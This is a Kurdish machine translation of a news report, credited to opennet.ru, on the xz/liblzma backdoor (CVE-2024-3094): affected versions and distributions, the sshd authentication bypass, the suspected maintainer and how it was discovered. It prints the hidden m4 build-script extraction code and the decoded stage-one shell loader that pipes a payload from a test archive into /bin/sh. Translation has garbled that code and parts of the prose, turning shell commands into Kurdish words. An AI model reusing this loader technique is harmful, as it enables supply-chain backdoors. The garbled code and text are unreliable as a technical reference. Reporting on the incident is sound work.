Di pirtûkxaneya xz/liblzma de derîyek paşde hat dîtin ku destûrê dide têketina bi sshd

Di pakêta XZ Utils de, ku pirtûkxaneya liblzma û karûbarên ji bo xebata bi daneyên pelçiqandî yên di forma ".xz" de vedihewîne, derîyek paşverû (CVE-2024-3094) hatîye nas kirin ku destûrê dide destgirtin û guheztina daneyên ku ji hêla serîlêdanên têkildar ve hatî hilberandin. bi pirtûkxaneya liblzma. Armanca sereke ya paşîn servera OpenSSH e, ku di hin belavokan de bi pirtûkxaneya libsystemd-ê ve girêdayî ye, ku di encamê de liblzma bikar tîne. Girêdana sshd bi pirtûkxaneyek xedar re dihêle ku êrîşkar bêyî pejirandinê bigihîjin servera SSH.

Deriyê paşverû di weşanên fermî 5.6.0 û 5.6.1 de, ku di 24ê Sibatê û 9ê Adarê de hatin weşandin de hebû, ku karibû bikeve nav hin belavkirin û depoyan, mînakî Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide û 40-beta, fabrîqeya openSUSE û tumbleweed, LibreELEC, Alpine edge, Solus, NixOS nestêbar, OpenIndiana, OpenMandriva rijandin, pkgsrc niha, Slackware, ceribandina Manjaro. Hemî bikarhênerên serbestberdanên xz 5.6.0 û 5.6.1 têne pêşniyar kirin ku bi lezgînî vegerin guhertoya 5.4.6.

Di nav faktorên kêmkirina pirsgirêkê de, meriv dikare were destnîşan kirin ku guhertoya liblzma ya bi deriyek paşde nekariye bibe beşek ji serbestberdanên aram ên belavkirinên mezin, lê bandor li openSUSE Tumbleweed û Fedora 40-beta kir. Arch Linux û Gentoo guhertoyek zirav a zx-ê bikar anîn, lê ji êrîşê re ne hesas in ji ber ku ew paçê systemd-notify li openssh bicîh nakin, ku dibe sedem ku sshd bi liblzma ve were girêdan. Deriyê paşîn tenê bandorê li pergalên x86_64 li ser bingeha kernel Linux û pirtûkxaneya Glibc C dike.

Koda aktîvkirina paşverû di makroyên m4 de ji pelê build-to-host.m4 veşartibû ku ji hêla toolkit otomakeyê ve hatî çêkirin dema ku hatî çêkirin. Di dema meclîsê de, di dema pêkanîna operasyonên tevlihev ên tevlihev ên li ser bingeha arşîvên (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ku ji bo ceribandina rastdariya xebatê hatî bikar anîn, pelek tiştek bi kodek xirab hate çêkirin, ku di nav de bû. pirtûkxaneya liblzma û mantiqa operasyonê de hin fonksiyonên xwe guhert. Makroyên m4 yên ku paşîn çalak dikin di nav tarballên berdanê de bûn, lê ne di depoya Git de bûn. Di heman demê de, arşîvên testê yên xerab di depoyê de hebûn, ango. kesê ku paşperdeyê pêk aniye hem gihîştina depo û hem jî pêvajoyên hilberîna berdanê hebû.

Dema ku liblzma di serîlêdanan de tê bikar anîn, guheztinên xirabkar dikarin werin bikar anîn da ku daneyan biguhezînin an biguhezînin, an bandorê li xebata sshd bikin. Bi taybetî, koda xerab fonksiyona RSA_public_decrypt xapandiye da ku pêvajoya pejirandina sshd derbas bike. Deriyê paşverû parastina ji tespîtê vedihewand û dema ku guhêrbarên hawîrdorê yên LANG û TERM hatin danîn (ango dema ku pêvajoyê di termînalê de dimeşîne) xwe nîşan neda û guhêrbarên jîngehê LD_DEBUG û LD_PROFILE nehatin danîn, û di heman demê de tenê dema darvekirinê hate çalak kirin. /usr/sbin/sshd pelê îcrakar. The backdoor di heman demê de amûrek peydakirina darvekirinê li hawîrdorên debugê jî hebû.

Bi taybetî, pelê m4/build-to-host.m4 gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / bikar anî. null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Di avakirina yekem de, operasyona grep testên pelê/file/bad-3-corrupt_lzma2.xz dît, ku dema ku nehat pakkirin, skrîptê çêkir: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && derkeve 0 [ ! $(uname) = "Linux" ] && derkeve 0 [ ! $(uname) = "Linux" ] && derkeve 0 [ ! $(uname) = "Linux" ] && derkeve 0 [ ! $(uname) = "Linux" ] && derkeve 0 eval `grep ^srcdir= config.status` heke test -f ../../config.status;paşê eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && serê -c +2048 && (serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +2048 && (ser - c +1024 >/dev/null) && serî -c +2048 && (serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serî - c +2048 && (serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/ dev/null) && serê -c +2048 && (serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +2048 && ( serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +2048 && (serê -c +1024 >/dev/null) && serê -c +2048 && (ser -c +1024 >/dev/null) && serê -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Cîhan####

Çawa êrîşkaran karîbûn xwe bigihînin binesaziya projeya xz, hîn bi tevahî nehatiye zelal kirin. Di heman demê de hîn ne diyar e ka çend bikarhêner û proje di encama paşverû de ketine tawîzê. Nivîskarê gumanbar ê paşperdeyê (JiaT75 - Jia Tan), ku arşîvên bi kodên xerab di depoyê de şandin, bi pêşdebirên Fedora re têkilî danî û daxwazên kişandinê ji Debian re şandin ku têkildarî veguheztina belavkirinan li şaxê xz 5.6.0, û nekiriye. gumanan derdixe, ji ber ku ew beşdarî xz-ê bûye ev du sal in ku pêşdebir dike û di warê hejmara guhertinên hatine çêkirin de pêşdebirê duyemîn e. Digel projeya xz-ê, nivîskarê îdiakirî yê paşperdeyê jî beşdarî pêşkeftina pakêtên xz-java û xz-vekirî bû. Wekî din, Jia Tan çend roj berê di nav hejmara parêzvanên projeya XZ Embedded de ku di kernel Linux-ê de hatî bikar anîn de cih girt.

Guhertina xirab piştî analîzkirina xerckirina zêde ya CPU û xeletiyên ku ji hêla valgrind ve hatî çêkirin dema ku bi ssh-ê ve bi pergalên bingeh-sid-bingeha Debian ve têne girêdan hate kifş kirin. Hêjayî balkişandinê ye ku serbestberdana xz 5.6.1 guheztinên ku ji hêla nivîskarê îdîaya paşperdeyê ve hatî amade kirin di bersivê de li ser giliyên li ser hêdîbûn û şikestinên sshd-ê yên ku piştî nûvekirina guhertoya zx 5.6.0 bi derya paşîn re derketine, vedihewîne. Wekî din, sala borî Jia Tan guheztinên ku bi moda vekolînê ya "-fsanitize=address" re lihevnekirin çêkir, bû sedema ku ew di dema ceribandina fuzzê de bête neçalak kirin.

Source: opennet.ru

Add a comment